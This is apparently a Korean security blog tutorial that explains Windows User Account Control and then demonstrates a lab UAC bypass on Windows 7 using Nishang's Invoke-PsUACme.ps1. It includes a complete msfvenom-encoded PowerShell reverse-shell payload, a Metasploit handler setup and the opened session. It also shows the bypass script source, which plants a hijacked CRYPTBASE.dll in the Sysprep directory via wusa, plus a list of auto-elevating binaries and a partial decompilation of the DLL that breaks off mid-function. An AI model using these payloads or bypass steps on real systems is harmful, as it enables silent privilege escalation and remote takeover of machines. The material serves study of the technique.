사용자 계정 컨트롤(UAC, User Account Control)은 사용자가 프로그램 실행 시 프로그램에서 관리자 수준의 권한이 필요할 때, 사용자에게 알려 제어할 수 있는 윈도우 운영체제의 보안 기능이다.


윈도우 비스타 이전 버전의 운영체제는 관리자 그룹에 소속된 사용자가 다양한 프로그램(악성코드 등)을 실행하거나 시스템을 제어할 수 있었다.


하지만, 윈도우 비스타 운영체제부터 관리자 그룹에 소속된 사용자라도 전적으로 신뢰하지 않고, 사용자 계정 컨트롤을 실행한다.

 

사용자 계정 컨트롤이 실행되면 프로그램을 잠시 동안 관리자 승인 모드를 거쳐서 관리자 관한을 부여한다.


윈도우 운영체제에 관리자로 로그인 되어 있는 상태에서 컴퓨터 관리(compmgmt.msc)를 실행하려고 하면 사용자 계정 컨트롤이 실행되어 사용자에게 관리자 권한 상승을 요구한다.


사용자 계정 컨트롤은 응용 프로그램을 설치 및 삭제, 윈도우 방화벽 설정 변경, 사용자 계정 컨트롤 설정 변경, 사용자 계정 추가 및 삭제 등의 작업이 수행될 때 발생한다.


○ 시작 > 제어판 > 사용자 계정 > 사용자 계정 컨트롤 설정 변경


사용자 계정 컨트롤


관리자 승인 모드

윈도우 비스타 운영체제부터 표준 사용자뿐만 아니라 관리자도 표준 사용자 권한으로 프로그램을 실행한다.


프로그램에서 관리자 권한이 필요한 작업이 수행될 경우, 윈도우 운영체제는 관리자 승인 모드를 이용하여 사용자에게 권한 상승을 요구한다. 이 때, 사용자가 권한 상승을 승인하면 관리자 권한 수준으로 프로그램이 실행된다.


사용자가 윈도우 운영체제에 로그인 시 각 사용자는 액세스 토큰(Access Token)을 부여 받는다. 액세스 토큰은 보안 식별자(SID, Security IDentifier), 윈도우 운영체제 권한, 사용자에게 부여된 접근 수준 정보가 있다.

 

윈도우 시스템은 액세스 토큰을 이용하여 사용자의 권한을 확인하는데 사용된다. 표준 사용자가 로그인하면 윈도우 운영체제는 표준 사용자 액세스 토큰(Standard User Access Token)을 만들고, 관리자가 로그인하면 표준 사용자 액세스 토큰(Filtered standard user token), 관리자 액세스 토큰(Full administrator access token)을 만든다.


표준 사용자뿐만 아니라 관리자도 표준 사용자 액세스 토큰을 이용하여 explorer.exe 프로세스를 실행(하위 프로세스도 동일한 권한 부여)한다.


만약, 프로그램 실행 시 권한 상승이 필요한 경우 사용자 계정 컨트롤을 이용하여 관리자 액세스 토큰을 사용하도록 설정한 뒤 관리자 권한으로 실행한다.


관리자 승인 모드 실행 정책


공격 코드 실행

구분 내용
운영체제 Windows 7 32bit SP1, Kali Linux 2016.1
공격 코드 Invoke-PsUACme.ps1

파워쉘로 제작한 악성 코드는 사용자에게 사용자 계정 컨트롤의 경고 창을 띄우지 않고, 관리자 권한으로 실행되는 기법을 사용한다. 사용자 계정 컨트롤을 우회하는데 사용할 공격 코드는 Nishang에서 제공한 Invoke-PsUACme.ps1 스크립트이다.


Nishang은 모의 해킹, 익스플로잇 제작 시 자동화 해주는 파워쉘 기반의 프레임워크이다. 공격 코드를 실행하기 앞서 Administrators 그룹에 계정을 추가하고, 해당 계정으로 로그인한다. 사용자 계정 컨트롤을 우회하는 것은 관리자 액세스 토큰이 있는 사용자를 대상으로 우회하는 것이다.


Administrators 그룹에 포함된 사용자는 표준 사용자 액세스 토큰, 관리자 액세스 토큰이 부여되므로 해당 그룹에 포함된 사용자로 로그인 해야 한다.


Administrators 그룹에 포함된 사용자


파워쉘을 실행하는 방법은 명령어 기반과 스크립트 기반이 있다.


명령어 기반은 로컬 명령어를 실행할 때 실행 정책에 제한이 없지만, 원격 명령어를 실행할 때 실행 정책에 제한이 된다.


스크립트 기반은 시스템 설정을 변경, 악의적인 행위, 의도하지 않는 명령어 등이 있을 수 있으므로 파워쉘에서 기본적으로 실행 정책으로 스크립트 실행을 제한하고 있다.


get-executionpolicy 명령어를 입력하면 실행 정책 기본값(Restricted)이 확인된다. 실행 정책 제한을 해제하려면 set-executionpolicy bypass를 입력하면 된다.


PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> get-executionpolicy Restricted
PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> set-executionpolicy bypass

실행 규칙 변경
실행 정책은 신뢰하지 않는 스크립트로부터 사용자를 보호해 줍니다. 실행 정책을 변경하면 about_Execution_Policies 도움말
항목에 설명된 보안 위험에 노출될 수 있습니다. 실행 정책을 변경하시겠습니까?
[Y] 예(Y)  [N] 아니요(N)  [S] 일시 중단(S)  [?] 도움말 (기본값은 "Y"임): y
PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> get-executionpolicy Bypass

실행 정책 변경 시 파워쉘을 실행한 사용자의 권한 문제로 액세스가 거부되므로 관리자 권한으로 실행해야 한다. 파워쉘을 관리자 권한으로 실행하면 사용자 계정 컨트롤이 실행된다.


Set-ExecutionPolicy : 레지스트리 키 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
에 대한 액세스가 거부되었습니다.
위치 줄:1 문자:20
+ set-executionpolicy <<<<  bypass
    + CategoryInfo          : NotSpecified: (:) [Set-ExecutionPolicy], UnauthorizedAccessException
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.SetExecutionPolicyComma
   nd

구분 내용
Restricted: 구성 파일을 로드하거나 스크립트를 실행하지 않음
AllSigned 로컬 컴퓨터에서 작상한 모든 스크립트를 포함하여 모든 스크립트 및 구성 파일에 신뢰된 게시자가 서명해야 함
RemoteSigned 인터넷에서 다운로드한 모든 스크립트 및 구성 파일에 신뢰된 게시자가 서명해야 함
Unrestricted 모든 구성 파일을 로드하고, 모든 스크립트를 실행한다. 단, 인터넷에서 다운로드한 서명되지 않는 스크립트를 실행할 경우 실행하기 전에 사용 권한을 묻는 메시지가 표시됨
Bypass 아무 것도 차단되지 않으며 경고나 메시지가 표시되지 않음
Undefined 현재 할당된 실행 정책을 현재 범위에서 제거

Invoke-PsUACme.ps1 스크립트가 존재한 디렉토리로 이동하여 스크립트에 존재한 모든 명령어를 현재 세션으로 가져온다. invoke-psuacme 명령어를 입력하면 사용자 계정 컨트롤을 우회하는 작업이 진행된다.


▶ Nishang - Offensive PowerShell


PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> ls

    디렉터리: C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---      2016-11-21  오후 12:29       5343 Enable-DuplicateToken.ps1
-a---      2016-11-21  오후 12:29      50734 Invoke-PsUACme.ps1
-a---      2016-11-21  오후 12:29       2227 Remove-Update.ps1

PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation>
PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> . .\Invoke-PsUACme.ps1
PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> get-command invoke-psuacme

CommandType     Name                                                Definition
-----------     ----                                                ----------
Function        Invoke-PsUACme                                      ...

PS C:\Users\bughunting\Desktop\powershell\nishang-master\Escalation> invoke-psuacme -verbose
자세한 정보 표시: 32 bit process detected.
Using Sysprep method
자세한 정보 표시: Windows 7 found!
자세한 정보 표시: Writing to C:\Users\BUGHUN~1\AppData\Local\Temp\CRYPTBASE.dll
자세한 정보 표시: Creating cab C:\Users\BUGHUN~1\AppData\Local\Temp\uac.cab
자세한 정보 표시: Extracting cab to C:\Windows\System32\Sysprep\
자세한 정보 표시: Executing C:\Windows\System32\Sysprep\sysprep.exe
자세한 정보 표시: Removing C:\Users\BUGHUN~1\AppData\Local\Temp\uac.cab.
자세한 정보 표시: Removing C:\Users\BUGHUN~1\AppData\Local\Temp\CRYPTBASE.dll.
자세한 정보 표시: C:\Windows\System32\Sysprep\CRYPTBASE.dll must be removed manually.
자세한 정보 표시: C:\Windows\temp\cmd.bat must be removed manually.

스크립트 실행이 완료되면 현재 로그인 중인 사용자가 소속된 그룹의 SID가 S-1-5-32-544(Administrators 그룹)와 일치하여 상승된 권한으로 쉘을 실행했다는 메시지가 출력된다.


상승된 권한으로 실행


보안 식별자
보안 식별자는 사용자 및 그룹을 식별하는데 사용되는 고유한 번호이다. 고유한 번호는 윈도우 운영체제에서 일정한 규칙에 따라 정해진다.


사용자가 계정을 생성하면 아이디에 준하는 보안 식별자가 생성된다. 시스템이 사용자의 아이디로 식별하는 것이 아니라 보안 식별자로 식별한다. 사용자가 계정을 삭제하면 계정과 함께 보안 식별자도 삭제된다.

S-1-5-21-3623811015-3361044348-30300820-500
- S : SID를 가리킴
- 1 : SID 규격 버전
- 5 : 사용자를 식별할 수 있는 권한 값으로 5는 NT 권한을 의미
- 21-3623811015-3361044348-30300820 : 도메인 및 로컬 컴퓨터를 식별하는데 사용
- 500 : 사용자 및 그룹마다 가지는 고유한 숫자(RID)로 Administrator는 500, Guest는 501, 일반 사용자는 1000 이상의 숫자를 가짐

invoke-psuacme 명령어는 다양한 매개 변수를 지정하여 실행할 수 있다. 명령어에 -payload 매개 변수를 지정하면 상승된 프로세스로 페이로드를 실행한다.


해당 매개 변수에 사용할 페이로드는 메타스플로잇 프레임워크(MSF, Metasploit Framework)에서 제공한 msfvenom으로 생성한 cmd/windows/powershell_reverse_tcp 페이로드이다.


# msfvenom -p cmd/windows/powershell_reverse_tcp -e cmd/powershell_base64
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: cmd from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 1530 (iteration=0)
cmd/powershell_base64 chosen with final size 1530
Payload size: 1530 bytes
powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $($s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAF1rZFgCA51WbW/iRhD+zq8YUfewFbwiqP0SKadyTq6NlLtDB20+IKQs9hDcmF26u+ZFCf+9s/Yam5DomlpI4N3ZZ5555mX5CYZyg2qeCwjhTqXGoIDZDj7R1zhXAhV8gCu+RviDq2TXapFlbFIp4Hc04R3O4ixFYaD11AJ6vE0Ml/AVN+G32d8YGwjHuxV+5UukRcPIPirsK2P2p8YrnPM8M5HChHZSnmmC8IzK8WA1VHK7Yy8saL2xUtm29jXFVRVa6wmK/SFXfOmXvycjo1LxMPUiuVxykXSPV0c6i6V4sXglNyKTPClWA4epZIxagxNgKZM8Q0vwNz+A0iSdg1+5gRD/gfYsFUk7KDbLc8XZLNUkP0l+SS539HvJrGojGT+i0Wwcr26dxfQXek4PMm24Mtav81zsuhRdNuwGcYwrQ4BlOvySyv4tugrXqDSeMj5AN1L+GvNo6By1z3uMPj3W77e7NgjnuVWqp41CvrRUS2RGVTYq1ohiTa5MTsnNFkrb5aLBTOtsVIG9QQ7jnAp+x0aVqe/8d705VRR2/SdvTOh7CLmGydGZ77iUBiNUJp2nMTf4F8/ShNuyi3iWzXj8OA2CV+iwQW4WtmbtoYF+RZagkbpajzqepmCT2c7gZDr17Lctuh5j/R49zz8/9fZOUxRJte1PDG4NQxHLxFb0xcVgFN3cBFbnT9bGb99RacqNLufCaIFZBioXgqyBVMg1lWcbzsBDsb6wb8I29xmtUUIOG7FcrnJTb96LSK52Kn1YGPCjAPq981/hSxorqeXcQCTVSqpCPQYD69FaalBIDtaYsHtxL1z1OU2YHVbo19F1e936hd2ieDCLZs1UvdusmpOieZ9Uk7Mp3BKk1cb1PTvwfD/X6tRnqa55vCDOJSik4jBXaquatn38o3EcsCracnJVSMHzjVjLRwyvtyvSVpPeB5T9cSO+S4nOcAQdynPB4lbGRSYDNuRmQaudj53/nbrNIs3Q97206IHy+HfkiV9WfBd6XfCOzgUQCoTeSW6vLX1MxhTKW1eUGw7WhBUhXruQaxRqcW6pNNDcjCpkrsIBLw1elBVNBKvlSQIgrEZtCd7/+OEcnuFbbsISFZwUR1B9KASpgEnkH6QAOjXI1hLxUCmpJr3pkbMG62KfxRly5QevMbhsvlDjb1unnfSfyqeG+WHrNEvlpHGqM5+zXC8Ot68bg+5CiTKp0cVT34cjI1fVJUj/IFqHfw6H5LgrEEJ399gB8i+jt+9UPQkAAA=='));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

msfconsole을 실행하여 핸들러를 생성한다. 핸들러에 사용할 페이로드는 msfvenom으로 생성한 페이로드를 지정하고, 백그라운드 모드로 익스플로잇을 실행한다.


msf > use multi/handler
msf exploit(handler) > set payload windows/powershell_reverse_tcp
payload => windows/powershell_reverse_tcp
msf exploit(handler) > set lhost 10.10.0.22
lhost => 10.10.0.22
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse SSL handler on 10.10.0.22:4444 
msf exploit(handler) > [*] Starting the payload handler...

invoke-psuacme 명령어의 -payload 매개 변수에 msfvenom으로 생성한 페이로드를 붙여 넣고, 실행한다.


PS C:\users\bughunting\Desktop\nishang-master\Escalation> invoke-psuacme -method oobe -payload "powershell.exe -exec byp
ass -nop -W hidden -noninteractive IEX $($s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAF1rZFgCA51WbW/
iRhD+zq8YUfewFbwiqP0SKadyTq6NlLtDB20+IKQs9hDcmF26u+ZFCf+9s/Yam5DomlpI4N3ZZ5555mX5CYZyg2qeCwjhTqXGoIDZDj7R1zhXAhV8gCu+Rvi
Dq2TXapFlbFIp4Hc04R3O4ixFYaD11AJ6vE0Ml/AVN+G32d8YGwjHuxV+5UukRcPIPirsK2P2p8YrnPM8M5HChHZSnmmC8IzK8WA1VHK7Yy8saL2xUtm29jX
FVRVa6wmK/SFXfOmXvycjo1LxMPUiuVxykXSPV0c6i6V4sXglNyKTPClWA4epZIxagxNgKZM8Q0vwNz+A0iSdg1+5gRD/gfYsFUk7KDbLc8XZLNUkP0l+SS5
39HvJrGojGT+i0Wwcr26dxfQXek4PMm24Mtav81zsuhRdNuwGcYwrQ4BlOvySyv4tugrXqDSeMj5AN1L+GvNo6By1z3uMPj3W77e7NgjnuVWqp41CvrRUS2R
GVTYq1ohiTa5MTsnNFkrb5aLBTOtsVIG9QQ7jnAp+x0aVqe/8d705VRR2/SdvTOh7CLmGydGZ77iUBiNUJp2nMTf4F8/ShNuyi3iWzXj8OA2CV+iwQW4Wtmb
toYF+RZagkbpajzqepmCT2c7gZDr17Lctuh5j/R49zz8/9fZOUxRJte1PDG4NQxHLxFb0xcVgFN3cBFbnT9bGb99RacqNLufCaIFZBioXgqyBVMg1lWcbzsB
Dsb6wb8I29xmtUUIOG7FcrnJTb96LSK52Kn1YGPCjAPq981/hSxorqeXcQCTVSqpCPQYD69FaalBIDtaYsHtxL1z1OU2YHVbo19F1e936hd2ieDCLZs1Uvdu
smpOieZ9Uk7Mp3BKk1cb1PTvwfD/X6tRnqa55vCDOJSik4jBXaquatn38o3EcsCracnJVSMHzjVjLRwyvtyvSVpPeB5T9cSO+S4nOcAQdynPB4lbGRSYDNuR
mQaudj53/nbrNIs3Q97206IHy+HfkiV9WfBd6XfCOzgUQCoTeSW6vLX1MxhTKW1eUGw7WhBUhXruQaxRqcW6pNNDcjCpkrsIBLw1elBVNBKvlSQIgrEZtCd7
/+OEcnuFbbsISFZwUR1B9KASpgEnkH6QAOjXI1hLxUCmpJr3pkbMG62KfxRly5QevMbhsvlDjb1unnfSfyqeG+WHrNEvlpHGqM5+zXC8Ot68bg+5CiTKp0cV
T34cjI1fVJUj/IFqHfw6H5LgrEEJ399gB8i+jt+9UPQkAAA=='));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStrea
m($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)"

명령어가 실행되면 상승된 권한으로 페이로드가 실행되어 세션이 맺어진다.


[*] Powershell session session 1 opened (10.10.0.22:4444 -> 10.10.0.29:1084) at 2016-12-28 21:51:32 -0500

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Windows PowerShell running as user bughunting on WIN-TF2RLVLBDDL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\users\bughunting\Desktop\nishang-master\Escalation>

공격 코드 분석

사용자 계정 컨트롤을 우회하려고 어떤 단계를 거쳤는지 Invoke-PsUACme.ps1 스크립트를 분석한다. 스크립트는 매개 변수, dll, 운영체제 비트, cmd.bat, Sysprep, 관련 파일 삭제 등으로 구성된다.


Param()은 함수의 매개 변수를 설정하는 것으로 총 6개의 매개 변수를 전달받는다. 사용자는 필요에 따라 각 매개 변수를 지정하거나 지정하지 않고 실행해도 된다.


$Payload

○ 파워쉘 명령어를 실행 후 종료하지 않음

○ 시스템에 존재하는 그룹과 Administrators 그룹의 보안 식별자가 일치하면 화면에 메시지를 출력


$method

○ 상승된 권한으로 실행되는 프로그램의 목록 중 sysprep을 사용


$PayloadPath

○ $Payload 변수에 저장된 명령어가 저장될 경로를 지정


function Invoke-PsUACme
{    
    [CmdletBinding()] Param(
        
        [Parameter(Position = 0, Mandatory = $False)]
        [String]
        $Payload = 'powershell.exe -noexit -c "if ([bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match ''S-1-5-32-544'')) {Write-Output ''You have elevated/Administrator rights!''}"',

        [Parameter(Position = 1, Mandatory = $False)]
        [ValidateSet("sysprep","oobe","ActionQueue","migwiz","cliconfg","winsat","mmc")]
        [String]
        $method = "sysprep",
        
        [Parameter(Position = 2, Mandatory = $False)]
        [String]
        $PayloadPath = "C:\Windows\temp\cmd.bat",
       
        [Parameter(Position = 3, Mandatory = $False)]
        [String]
        $CustomDll64,

        [Parameter(Position = 4, Mandatory = $False)]
        [String]
        $CustomDll32,

        [Parameter(Position = 5, Mandatory = $False)]
        [String]
        $DllBytes64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 ...",

        [Parameter(Position = 6, Mandatory = $False)]
        [String]
        $DllBytes32 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 ..."
    )

-CustomDll64, -CustomDll32 매개 변수에 해당하는 부분으로 커스텀 Dll의 경로를 입력 받아 바이트 배열로 변수에 저장한다.


if ($CustomDll64)
    {
        Write-Verbose "Reading 64 bit DLL."
        [byte[]]$bytes = [System.IO.File]::ReadAllBytes($CustomDll64)
        $DllBytes64 = $bytes -join ' '
    }
elseif ($CustomDll32)
    {
        Write-Verbose "Reading 32 bit DLL."
        [byte[]]$bytes = [System.IO.File]::ReadAllBytes($CustomDll32)
        $DllBytes32 = $bytes -join ' '
    }

닷넷 프레임워크(.NET Framework)의 IntPtr 구조체는 운영체제의 포인터나 핸들을 가리키는 구초이며 Size 속성으로 비트를 확인한다.


64비트 운영체제는 값이 8이고, 32비트 운영체제는 값이 4이다. 비트를 확인 후 $DllBytes64 매개 변수 초기값을 $DllBytes 변수에 저장한다.


if (([IntPtr]::Size) -eq 8)
    {
        Write-Verbose "64 bit process detected."
        $DllBytes = $DllBytes64
    }
elseif (([IntPtr]::Size) -eq 4)
    {
        Write-Verbose "32 bit process detected."
        $DllBytes = $DllBytes32
    }

$Payload 변수에 저장된 파워쉘 명령어를 C:\Windows\temp\cmd.bat에 출력 파일로 저장한다. cmd.bat은 기본적으로 -Payload 매개 변수를 지정하지 않아도 자동으로 실행된다.


Out-File -FilePath $PayloadPath -InputObject $Payload -Encoding ascii
$OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber

운영체제 버전에 따라 수행할 작업의 경로가 다르므로 WMI(Windows Management Instrumentation)로 버전을 구하여 $OSVersion 변수에 저장한다.


$OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber

$method 변수는 사용자 계정 컨트롤의 경고 창 없이 상승된 권한으로 실행되는 프로그램의 목록이 저장되어 있다. switch() 구문으로 각 프로그램을 구분하여 사용자 계정 컨트롤을 우회한다.


기본적으로 설정된 Sysprep를 보면 운영 체제 버전을 확인 후 $env:temp 디렉토리에 조작된 CRYPTBASE.dll을 저장한다.


makecab 명령어로 CRYPTBASE.dll을 $env:temp\uac.cab으로 생성하고, $env:temp\uac.cab을 해제하여 C:\Windows\System32\Sysprep 디렉토리에 생성한다.


switch($method)
    {

        "Sysprep"
        {
            Write-Output "Using Sysprep method"
            if ($OSVersion -match "76")
            {
                Write-Verbose "Windows 7 found!"
                $dllname = "CRYPTBASE.dll"
                $PathToDll = "$env:temp\$dllname"
                Write-Verbose "Writing to $PathToDll"
                [Byte[]] $temp = $DllBytes -split ' '
                [System.IO.File]::WriteAllBytes($PathToDll, $temp)
            }
    
            if ($OSVersion -match "96")
            {
                Write-Verbose "Windows 8 found!"
                $dllname = "shcore.dll"
                $PathToDll = "$env:temp\$dllname"
                Write-Verbose "Writing to $PathToDll"
                [Byte[]] $temp = $DllBytes -split ' '
                [System.IO.File]::WriteAllBytes($PathToDll, $temp)
            }
        
            if ($OSVersion -match "10")
            {
                Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has no extract option. Not supported *yet*. "
            }
            $Target = "$env:temp\uac.cab"
            $wusapath = "C:\Windows\System32\Sysprep\"
            $execpath = "C:\Windows\System32\Sysprep\sysprep.exe"
            Write-Verbose "Creating cab $Target"
            $null = & makecab $PathToDll $Target 
            Write-Verbose "Extracting cab to $wusapath "
            $null = & wusa $Target /extract:$wusapath 
            Start-Sleep -Seconds 1
            Write-Verbose "Executing $execpath "
            & $execpath
        }

상승된 권한으로 프로그램이 실행되면 $env:temp\uac.cab, $env:temp\CRYPTBASE.dll를 삭제한다.


#Clean up
    Write-Verbose "Removing $Target."
    Remove-Item -Path $Target
    Write-Verbose "Removing $PathToDll."
    Remove-Item -Path $PathToDll
    Write-Verbose "$wusapath$dllname must be removed manually."
    Write-Verbose "$PayloadPath must be removed manually."
    
}

사용자 계정 컨트롤을 우회하기 위해 wusa.exe 파일로 시스템의 취약한 지점에 CRYPTBASE.dll를 떨어뜨린다. 취약한 지점은 C:\Windows\System32\sysprep 디렉토리이다.


이 디렉토리에 존재하는 sysprep.exe를 사용하려고 CRYPTBASE.dll를 해당 디렉토리에 떨어뜨린다. 취약한 지점에 존재하는 sysprep.exe는 사용자 계정 컨트롤의 경고 없이 상승된 권한으로 실행되는 프로그램이다.


System Preparation
System Preparation(sysprep.exe)는 윈도우 운영체제 설치를 준비하는 프로그램으로 일반화 작업을 수행할 수 있다.


일반화 작업은 설치 과정을 거쳐 현재의 하드웨어에 일치하는 시스템 하드웨어 상태 등 특정한 고유 정보가 적용된 윈도우 운영체제에서 특정한 정보를 제거한다.


이 작업을 완료한 윈도우 이미지를 봉인 이미지(또는 만능 고스트)라고 한다. 만능 고스트는 다양한 컴퓨터에 풀어주더라도 바로 사용이 가능하므로 만능이라 부른다.

상승된 권한으로 실행되는 프로그램 및 Dll 목록은 다음과 같다.


⊙ syspgrep

- Write DLL : C:\Windows\System32\syspgrep\

- DLL Name : CRYPTBASE.dll for Windows 7 / shcore.dll for Windows 8

- Executable : C:\Windows\System32\syspgrep\syspgrep.exe


⊙ oobe

- Write DLL : C:\Windows\System32\oobe\

- DLL Name : wdscore.dll for Windows 7,8,10

- Executable : C:\Windows\System32\oobe\setupsqm.exe


⊙ actionqueue

- Write DLL : C:\Windows\System32\syspgrep\

- DLL Name : ActionQueue.dll for Windows 7

- Executable : C:\Windows\System32\syspgrep\syspgrep.exe


⊙ migwiz

- Write DLL : C:\Windows\System32\migwiz\

- DLL Name : wdscore.dll for Windows 7,8

- Executable : C:\Windows\System32\migwiz\migwiz.exe


⊙ cliconfg

- Write DLL : C:\Windows\System32\

- DLL Name : ntwdblib.dll for Windows 7,8,10

- Executable : C:\Windows\System32\cliconfg.exe


⊙ mmc

- Write DLL : C:\Windows\System32\

- DLL Name : ntwdblib.dll for Windows 7 / elsext.dll for Windows 8,10

- Executable : C:\Windows\System32\mmc.exe eventvwr


⊙ winsat

- Write DLL : C:\Windows\System32\syspgrep\Copy winsat.exe

- DLL Name : ntwdblib.dll for Windows 7 / devobj.dll for Windows 8,10

- Executable : C:\Windows\System32\syspgrep\winsat.exe



Invoke-PsUACme.ps1 스크립트는 wusa.exe로 구현되어 있다. makecab 명령어로 $env:temp\CRYPTBASE.dll을 $env:temp\uac.ab으로 생성한다.


또한, wusa 명령어로 $env:temp\uac.cab을 C:\Windows\System32\Sysprep 디렉토리에 추출한다. wusa는 실행 시 상승된 권한으로 실행되므로 이 디렉토리에 위치한 것이다.


구분 내용
IfileOperation COM 객체 IfileOperation COM 객체는 폴더 삭제 시 비어있는 폴더가 아니면 삭제 옵션을 지정하여 삭제할 수 있다.
wusa.exe wusa.exe는 윈도우 업데이트 독립 실행형 설치 관리자이다. 윈도우 비스타 이후 버전에서 업데이트할 때 사용하는 실행 파일이고, 업데이트 패키지(.msu 확장자)를 설치한다.

최종적으로 sysprep.exe가 실행되어 상승된 권한으로 CRYPTBASE.dll를 로드 및 실행하여 설정된 페이로드가 실행된다.


스크립트 실행 후 변화(1)


스크립트 실행 시 -Payload 매개 변수를 지정하지 않으면 기본적으로 설정된 페이로드(메시지 출력)가 실행된다.


하지만, 매개 변수에 커스텀 페이로드를 지정하면 커스텀 페이로드가 cmd.bat에 출력 파일로 저장되고, cmd.bat이 실행된다.


스크립트 실행 후 변화(2)


리뷰 사항

1. 왜 파워쉘을 관리자 권한으로 실행하여 실행 정책 제한을 풀고 실행하는가?

○ 실행 정책 변경도 사용자 계정 컨트롤의 영향을 받기 때문에 관리자 권한으로 실행


2. 그렇다면 실제 공격에서 의미 없지 않는가?

○ 실제 공격에서는 파워쉘 창을 띄우고 실행 정책 제한하고, 그런식으로 진행되지 않음

○ 악성 코드내의 파워쉘 코드를 포함하거나, 명령어 한줄로 이어서 실행하거나 배치 파일을 이용


3. $DllBytes64, $DllBytes32는 무엇인가?

○ 초기화 매개변수로 조작된 dll(CRYPTBASE.dll)를 생성하는 역할


4. CRYPTBASE.dll은 무엇인가?

○ C:\Windows\temp\cmd.bat 파일을 실행하는 역할

○ dll 파일 분석


5. 흐름을 간단하게 요약한다면?

○ CRYPTBASE.dll를 생성하여 C:\Windows\System32\sysprep\ 디렉토리에 드롭

○ 소스 코드내의 $execpath($execpath = "C:\Windows\System32\Sysprep\sysprep.exe")를 실행하면 sysprep.exe가 실행

○ sysprep.exe가 실행되면 CRYPTBASE.dll이 실행되어 cmd.bat이 실행되고 (윈도우 7 기준으로 sysprep.exe는 CRYPTBASE.dll을 로드)

○ cmd.bat 안의 스크립트가 실행


6. 최종 정리?

○ CRYPTBASE.dll은 모든 프로세스에 인젝션되어 관리자의 cmd를 실행하는 dll이다. 하지만, 관리자의 cmd가 실행되는 대신 UAC 경고창이 뜨므로 UAC 없이 관리자 권한으로 실행되는 sysprep 디렉토리로 이동시켜줘야 한다.


○ wusa.exe는 sysprep처럼 UAC 경고창 없이 관리자 권한으로 실행되는 프로그램이다. wusa.exe는 어떤 파일을 압축할 수 있고(cab 확장자로), 압축된 파일을 다른 디렉토리에 풀어줄 수 있다.


이 말은 wusa.exe로 CRYPTBASE.dll를 cab 파일 형식으로 압축 하고, sysprep 디렉토리로 풀어준다면, sysprep.exe 실행 시 UAC 경고창 없이 관리자 권한의 cmd가 실행된다.


7. BOOL __cdecl sub_10001001() 함수 디컴파일은 어떻게 하는가?

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    BOOL result; // eax@1
    signed int v4; // ecx@3
    struct _STARTUPINFOW * v5; // eax@3
    signed int v6; // ecx@5
    struct _PROCESS_INFORMATION * v7; // eax@5
    signed int v8; // ecx@7
    WCHAR * v9; // eax@7
    DWORD v10; // eax@9
    signed int v11; // ecx@11
    const WCHAR * v12; // eax@11
    const WCHAR * v13; // ecx@13
    WCHAR v14; // si@14
    const WCHAR * v15; // ecx@16
    signed __int16 v16; // si@18
    char * v17; // edx@18
    const WCHAR ApplicationName; // [sp+8h] [bp-670h]@11
    WCHAR CurrentDirectory; // [sp+418h] [bp-260h]@7
    struct _STARTUPINFOW StartupInfo; // [sp+624h] [bp-54h]@3
    struct _PROCESS_INFORMATION ProcessInformation; // [sp+668h] [bp-10h]@5
    result = 1;

    if (fdwReason == 1)
    {
        OutputDebugStringW(L "Fubuki at your service.\r\n");
        if (!sub_10001001())
        {
            v4 = 68;
            v5 = & StartupInfo;
            do
            {
                LOBYTE(v5 - > cb) = 0;
                v5 = (struct _STARTUPINFOW * )((char * ) v5 + 1);
                --v4;
            }

            while (v4);
            v6 = 16;
            v7 = & ProcessInformation;
            do
            {
                LOBYTE(v7 - > hProcess) = 0;
                v7 = (struct _PROCESS_INFORMATION * )((char * ) v7 + 1);
                --v6;
            }

            while (v6);
            StartupInfo.cb = 68;
            GetStartupInfoW( & StartupInfo);
            v8 = 522;
            v9 = & CurrentDirectory;
            do
            {
                *(_BYTE * ) v9 = 0;
                v9 = (WCHAR * )((char * ) v9 + 1);
                --v8;
            }

            while (v8);
            v10 = ExpandEnvironmentStringsW(L "%systemroot%\\temp\\", & CurrentDirectory, 0x104 u);
            if (v10)
            {
                if (v10 < 0x104)
                {
                    v11 = 1040;
                    v12 = & ApplicationName;
                    do
                    {
                        *(_BYTE * ) v12 = 0;
                        v12 = (const WCHAR * )((char * ) v12 + 1);
                        --v11;
                    }

                    while (v11);
                    v13 = & ApplicationName;
                    if (CurrentDirectory)
                    {
                        v14 = CurrentDirectory;
                        do
                        {
                            * v13 = v14;
                            ++v13;
                            v14 = * (const WCHAR * )((char * ) v13 + (char * ) & CurrentDirectory - (char * ) & ApplicationName);
                        }
                        while (v14);
                    }

                    * v13 = 0;
                    v15 = & ApplicationName;
                    if (ApplicationName)
                    {
                        do
                            ++v15;
                        while ( * v15);
                    }

                    v16 = 99;
                    v17 = (char * )((char * ) L "cmd.bat" - (char * ) v15);
                    do
                    {
